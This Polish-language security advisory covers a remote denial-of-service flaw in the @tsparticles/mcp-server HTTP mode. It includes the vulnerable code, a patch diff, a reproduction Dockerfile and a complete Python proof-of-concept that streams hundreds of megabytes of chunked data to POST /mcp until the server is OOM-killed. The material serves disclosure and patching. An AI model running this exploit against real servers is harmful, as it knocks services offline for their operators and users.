tsParticles: Nieograniczone buforowanie treści żądań HTTP w @tsparticles/mcp-server prowadzi do zdalnego DoS
Podsumowanie
Tryb serwera HTTP w @tsparticles/mcp-server gromadzi wszystkie przychodzące fragmenty treści żądania w tablicy Buffer[] w pamięci bez limitu rozmiaru przed wywołaniem JSON.parse. Nieuwierzytelniony zdalny atakujący może przesłać strumieniowo dowolnie dużą treść do POST /mcp, wyczerpując pamięć procesu Node.js i powodując odmowę usługi (Denial of Service). Oficjalny obraz Docker ma domyślnie włączony tryb HTTP (--port 3000 na 0.0.0.0), co czyni podatność możliwą do wykorzystania bez żadnej specjalnej konfiguracji we wdrożeniach kontenerowych.
Szczegóły
Podatność występuje w integrations/mcp-server/src/index.ts w wierszach 399–407. Procedura obsługi żądań POST /mcp rozwiązuje Promise, które dodaje każdy przychodzący fragment danych do tablicy Buffer[] bez sprawdzania łącznego rozmiaru, nagłówka Content-Length ani żadnego innego zabezpieczenia:
// integrations/mcp-server/src/index.ts:399-407
if (req.method === "POST" && req.url === "/mcp") {
const body = await new Promise<string>((resolve, reject) => {
const chunks: Buffer[] = [];
req.on("data", (chunk) => chunks.push(Buffer.from(chunk))); // no size guard
req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
req.on("error", reject);
});
const parsedBody = body ? JSON.parse(body) : undefined;
Kompletny przepływ danych prowadzący do eksploitacji:
index.ts:390— Serwer HTTP zostaje utworzony.index.ts:399— Następuje wejście do gałęziPOST /mcp; uwierzytelnianie nie jest przeprowadzane.index.ts:401-403— Każdy fragment jest dołączany dochunks[]bez weryfikacji liczby bajtów.index.ts:407— Połączony bufor jest przekazywany doJSON.parse.index.ts:416— Serwer nasłuchuje na0.0.0.0, udostępniając go na wszystkich interfejsach sieciowych.
W kodzie źródłowym serwera brak walidacji Content-Length, oprogramowania pośredniczącego sprawdzającego rozmiar treści oraz odpowiedzi 413 Payload Too Large. Oficjalny Dockerfile (integrations/mcp-server/Dockerfile) ustawia CMD ["node", "dist/index.js", "--port", "3000"], co oznacza, że wdrożenia Docker działają domyślnie w trybie HTTP bez konieczności dodatkowej konfiguracji.
Sugerowana poprawka polega na śledzeniu łącznej liczby odebranych bajtów i niszczeniu żądania po przekroczeniu progu (np. 1 MB):
--- a/integrations/mcp-server/src/index.ts
+++ b/integrations/mcp-server/src/index.ts
@@
import { createServer } from "node:http";
import { randomUUID } from "node:crypto";
const PACKAGE_VERSION = "0.1.0";
+const maxRequestBodyBytes = 1024 * 1024;
@@
if (req.method === "POST" && req.url === "/mcp") {
const body = await new Promise<string>((resolve, reject) => {
const chunks: Buffer[] = [];
- req.on("data", (chunk) => chunks.push(Buffer.from(chunk)));
+ let received = 0;
+ req.on("data", (chunk) => {
+ received += chunk.length;
+ if (received > maxRequestBodyBytes) {
+ req.destroy(new Error("Request body too large"));
+ return;
+ }
+ chunks.push(Buffer.from(chunk));
+ });
req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
req.on("error", reject);
});
PoC
Konfiguracja środowiska:
# Build the Docker image from the repository root
docker build \
-f /path/to/vuln-001/Dockerfile \
-t vuln001-mcp \
/path/to/tsparticles-repo
# Run with a 256 MB memory cap (matching the dynamic reproduction)
docker run -d \
-p 127.0.0.1:3000:3000 \
--memory=256m --memory-swap=256m \
--name vuln001-mcp \
vuln001-mcp
Exploit (Python PoC — poc.py):
Skrypt używa kodowania transferu typu chunked, dzięki czemu po stronie Pythona wymagana jest pamięć rzędu O(1 MB), podczas gdy proces Node.js gromadzi każdy odebrany fragment w swojej tablicy Buffer[].
python3 poc.py --host 127.0.0.1 --port 3000 --mb 300 --container vuln001-mcp
Odpowiednik minimalnego żądania:
import socket
s = socket.create_connection(("127.0.0.1", 3000))
headers = (
"POST /mcp HTTP/1.1\r\n"
"Host: 127.0.0.1:3000\r\n"
"Content-Type: application/json\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode()
s.sendall(headers)
prefix = b'{"jsonrpc":"2.0","id":1,"method":"tools/list","params":"'
s.sendall(f"{len(prefix):x}\r\n".encode() + prefix + b"\r\n")
chunk = b"A" * (1024 * 1024) # 1 MB per write
for _ in range(300): # stream 300 MB total
s.sendall(f"{len(chunk):x}\r\n".encode() + chunk + b"\r\n")
Oczekiwany rezultat:
- Bazowe użycie pamięci: ~24.9 MiB / 256 MiB.
- Po odebraniu ~209 MB na serwerze występuje
BrokenPipeError, gdy mechanizm OOM-killer Dockera zabija proces. docker inspect vuln001-mcppokazujeState.OOMKilled = trueorazState.Status = exited.
Potwierdzenie dynamicznej reprodukcji: Wartość OOMKilled=true została zaobserwowana podczas testów w fazie 2 przy strumieniu 300 MB skierowanym na kontener z limitem 256 MB.
Wpływ
Nieuwierzytelniony zdalny atakujący, który może połączyć się z punktem końcowym HTTP POST /mcp, może doprowadzić proces serwera Node.js do nieograniczonego zużycia pamięci, co skutkuje zamknięciem procesu (OOM kill) i całkowitą niedostępnością usługi. Dane uwierzytelniające ani wcześniejszy dostęp nie są wymagane.
W domyślnym wdrożeniu Docker (CMD ["node", "dist/index.js", "--port", "3000"]) serwer wiąże się z adresem 0.0.0.0:3000, przez co jest osiągalny z dowolnego interfejsu sieciowego bez konieczności zmian w konfiguracji. Każdy administrator korzystający z oficjalnego obrazu Docker jest domyślnie narażony.
Podatność ta jest typu Denial of Service (DoS) — poufność i integralność nie są bezpośrednio naruszone. Przywrócenie działania wymaga zrestartowania kontenera.
Artefakty reprodukcji
Dockerfile
# VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server
# Build context must be the repository root so COPY paths resolve correctly.
# Build: docker build -f vuln-001/Dockerfile -t vuln001-mcp .
# Run: docker run -d -p 127.0.0.1:3000:3000 \
# --memory=256m --memory-swap=256m \
# --name vuln001-mcp vuln001-mcp
# --- Stage 1: compile TypeScript ---
FROM node:22-alpine AS build
WORKDIR /build
# Copy only the mcp-server package (avoids pulling the entire monorepo)
COPY integrations/mcp-server/package.json ./package.json
COPY integrations/mcp-server/tsconfig.json ./tsconfig.json
COPY integrations/mcp-server/src/ ./src/
# Install all deps (devDeps needed for TypeScript compiler)
RUN npm install --no-audit --no-fund
# Compile TypeScript -> dist/
RUN npx tsc
# --- Stage 2: minimal runtime image ---
FROM node:22-alpine
WORKDIR /app
# Copy compiled JS and production node_modules
COPY --from=build /build/dist ./dist
COPY --from=build /build/node_modules ./node_modules
EXPOSE 3000
# Start HTTP mode on port 3000 — identical to the official Dockerfile CMD.
# No --max-old-space-size flag; memory cap is enforced by Docker --memory at run time.
CMD ["node", "dist/index.js", "--port", "3000"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server
Repository : tsparticles/tsparticles
Version : 4.3.0 (commit eb2d299)
CWE : CWE-400 — Uncontrolled Resource Consumption
CVSS : 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
File : integrations/mcp-server/src/index.ts:399-407
Vulnerability:
The POST /mcp handler resolves a Promise that accumulates every data chunk
into a Buffer[] array without any Content-Length or size guard, then calls
Buffer.concat() and JSON.parse() on the full body. An unauthenticated
remote attacker can exhaust the server's memory by streaming an arbitrarily
large body.
Source (index.ts:399-407):
if (req.method === "POST" && req.url === "/mcp") {
const body = await new Promise<string>((resolve, reject) => {
const chunks: Buffer[] = [];
req.on("data", (chunk) => chunks.push(Buffer.from(chunk))); // no guard
req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
req.on("error", reject);
});
const parsedBody = body ? JSON.parse(body) : undefined;
Exploit strategy:
Stream a large body via chunked transfer encoding so the Python process
itself needs only O(chunk) memory. The Node.js server accumulates every
chunk in its Buffer array. With a Docker memory cap of 256 MB the container
is OOM-killed once the buffered data exceeds available RAM, producing
OOMKilled=true — an unambiguous, observable indicator.
Usage:
python3 poc.py [--host 127.0.0.1] [--port 3000]
[--mb 300] [--container vuln001-mcp]
"""
import argparse
import socket
import subprocess
import sys
import time
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def parse_args():
p = argparse.ArgumentParser(description="VULN-001 PoC — unbounded body buffering")
p.add_argument("--host", default="127.0.0.1", help="Server host")
p.add_argument("--port", type=int, default=3000, help="Server port")
p.add_argument("--mb", type=int, default=300, help="Payload size in MB")
p.add_argument("--container", default="vuln001-mcp", help="Docker container name")
return p.parse_args()
def wait_for_server(host: str, port: int, timeout: int = 60) -> bool:
"""Poll TCP until the server accepts connections or timeout expires."""
deadline = time.time() + timeout
print(f"[*] Waiting for server at {host}:{port} (timeout={timeout}s) ...", flush=True)
while time.time() < deadline:
try:
s = socket.create_connection((host, port), timeout=1)
s.close()
print("[+] Server is ready", flush=True)
return True
except OSError:
time.sleep(0.5)
print("[-] Timed out waiting for server")
return False
def container_info(name: str) -> tuple[str, str, str]:
"""Return (status, mem_usage, oom_killed) strings for a Docker container."""
status, oom = "unknown", "unknown"
try:
r = subprocess.run(
["docker", "inspect", "--format",
"{{.State.Status}}|{{.State.OOMKilled}}", name],
capture_output=True, text=True, timeout=5,
)
if r.returncode == 0:
parts = r.stdout.strip().split("|")
status = parts[0] if len(parts) > 0 else "unknown"
oom = parts[1] if len(parts) > 1 else "unknown"
except Exception as exc:
status = f"error({exc})"
mem = "N/A"
try:
r2 = subprocess.run(
["docker", "stats", "--no-stream", "--format", "{{.MemUsage}}", name],
capture_output=True, text=True, timeout=5,
)
mem = r2.stdout.strip() or "N/A"
except Exception:
pass
return status, mem, oom
# ---------------------------------------------------------------------------
# Core exploit
# ---------------------------------------------------------------------------
def stream_large_body(host: str, port: int, total_mb: int) -> tuple[bool, int, bytes]:
"""
Open a single TCP connection and stream a large body using chunked TE.
Using chunked transfer encoding keeps this Python process's memory usage
at O(1-MB chunk) while forcing the Node.js server to accumulate every
received chunk in its Buffer[] array — the vulnerable code path.
Returns:
server_closed — True if the server reset the connection mid-stream
bytes_sent — total body bytes sent
response — first bytes of the HTTP response (may be empty)
"""
s = socket.create_connection((host, port))
headers = (
f"POST /mcp HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Content-Type: application/json\r\n"
f"Transfer-Encoding: chunked\r\n"
f"Connection: close\r\n"
f"\r\n"
).encode()
s.sendall(headers)
def send_chunk(data: bytes) -> None:
s.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")
# Begin a JSON body prefix (the server buffers everything before parsing)
prefix = b'{"jsonrpc":"2.0","id":1,"method":"tools/list","params":"'
send_chunk(prefix)
bytes_sent = len(prefix)
chunk_size = 1024 * 1024 # 1 MB per TCP write
filler = b"A" * chunk_size
target = total_mb * 1024 * 1024
server_closed = False
while bytes_sent < target:
remaining = target - bytes_sent
chunk = filler[: min(chunk_size, remaining)]
try:
send_chunk(chunk)
bytes_sent += len(chunk)
mb_done = bytes_sent // (1024 * 1024)
if mb_done % 50 == 0:
print(f"[*] {mb_done}/{total_mb} MB streamed ...", flush=True)
except (BrokenPipeError, ConnectionResetError, OSError) as exc:
print(f"[!] Connection reset after {bytes_sent // (1024 * 1024)} MB: {exc}",
flush=True)
server_closed = True
break
if not server_closed:
try:
send_chunk(b'"}')
s.sendall(b"0\r\n\r\n") # final (empty) chunk = end of chunked body
except OSError:
server_closed = True
response = b""
if not server_closed:
s.settimeout(5)
try:
response = s.recv(4096)
except OSError:
pass
try:
s.close()
except OSError:
pass
return server_closed, bytes_sent, response
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main() -> bool:
args = parse_args()
print("=" * 65)
print("VULN-001 — Unbounded HTTP Body Buffering in @tsparticles/mcp-server")
print(f"Target : http://{args.host}:{args.port}/mcp (no auth)")
print(f"Payload : {args.mb} MB (no Content-Length or body-size guard)")
print(f"Monitor : Docker container '{args.container}'")
print("=" * 65)
if not wait_for_server(args.host, args.port):
print("[FAIL] Server did not become available")
return False
# --- baseline ---
status_before, mem_before, _ = container_info(args.container)
print(f"\n[*] Baseline status={status_before} memory={mem_before}")
# --- exploit ---
print(f"\n[*] Streaming {args.mb} MB body to POST /mcp ...", flush=True)
t0 = time.time()
server_closed, bytes_sent, response = stream_large_body(
args.host, args.port, args.mb
)
elapsed = time.time() - t0
time.sleep(2) # allow Docker stats to refresh
status_after, mem_after, oom_killed = container_info(args.container)
print(f"\n[*] Transfer : {bytes_sent // (1024 * 1024)} MB in {elapsed:.1f} s")
print(f"[*] Server closed : {server_closed}")
print(f"[*] HTTP response : {response[:200]!r}")
print(f"[*] Container : status={status_after} OOMKilled={oom_killed}")
print(f"[*] Memory before : {mem_before}")
print(f"[*] Memory after : {mem_after}")
# --- verdict ---
if oom_killed == "true":
print("\n[PASS] OOMKilled=true — Docker OOM-killed the container")
print(" The Node.js process was killed because it buffered the full")
print(" request body in memory (no size guard in POST /mcp handler).")
return True
if status_after in ("exited", "dead"):
print(f"\n[PASS] Container exited (status={status_after}) after receiving"
f" {bytes_sent // (1024 * 1024)} MB body — memory exhaustion confirmed")
return True
if not server_closed and status_after == "running":
print(f"\n[PASS] {args.mb} MB body fully accepted — no size limit enforced")
print(f" Memory before: {mem_before} | after: {mem_after}")
print(" CWE-400 confirmed: unbounded buffering without authentication")
return True
if server_closed:
print(f"\n[PARTIAL] Connection reset after {bytes_sent // (1024 * 1024)} MB")
print(" Server may have crashed internally; check docker logs.")
# Still consider PASS if container is dead
if status_after not in ("running",):
return True
return False
print("\n[INCONCLUSIVE] Unexpected outcome — inspect container logs manually")
return False
if __name__ == "__main__":
ok = main()
sys.exit(0 if ok else 1)
Co trzeba zrobić
Zaktualizuj pakiet @tsparticles/mcp-server do wersji 4.3.1 lub nowszej.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | @tsparticles/mcp-server | < 4.3.1 | 4.3.1 |
Odnośniki
- https://github.com/tsparticles/tsparticles/security/advisories/GHSA-447x-qqwf-m7xq
- https://nvd.nist.gov/vuln/detail/CVE-2026-63655
- https://github.com/tsparticles/tsparticles/pull/5875
- https://github.com/tsparticles/tsparticles/commit/25fb70e7f527a91568adaef576570289083f243b
- https://github.com/tsparticles/tsparticles/commit/7b3a9488d4201fe9ddd5fec05f4a2ae65d3627ea
- https://github.com/tsparticles/tsparticles
- https://github.com/tsparticles/tsparticles/releases/tag/v4.3.1
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Słabość (CWE)
CWE-400- Platforma
- npm
- Paczka
@tsparticles/mcp-server- Ujawniono
- 09.11.2026
- Aktualizacja
- 10.11.2026 10:00
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-447x-qqwf-m7xq - CC BY 4.0
Historia podatności: @tsparticles/mcp-server
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 3
- Pierwsza → ostatnia
- 11.2026 11.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Wysoka 2
- Średnia 1
Ujawnienia w latach
- 2026: 3
-
tsParticles: Nieograniczone buforowanie treści żądań HTTP w @tsparticles/mcp-server prowadzi do zdalnego DoS ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.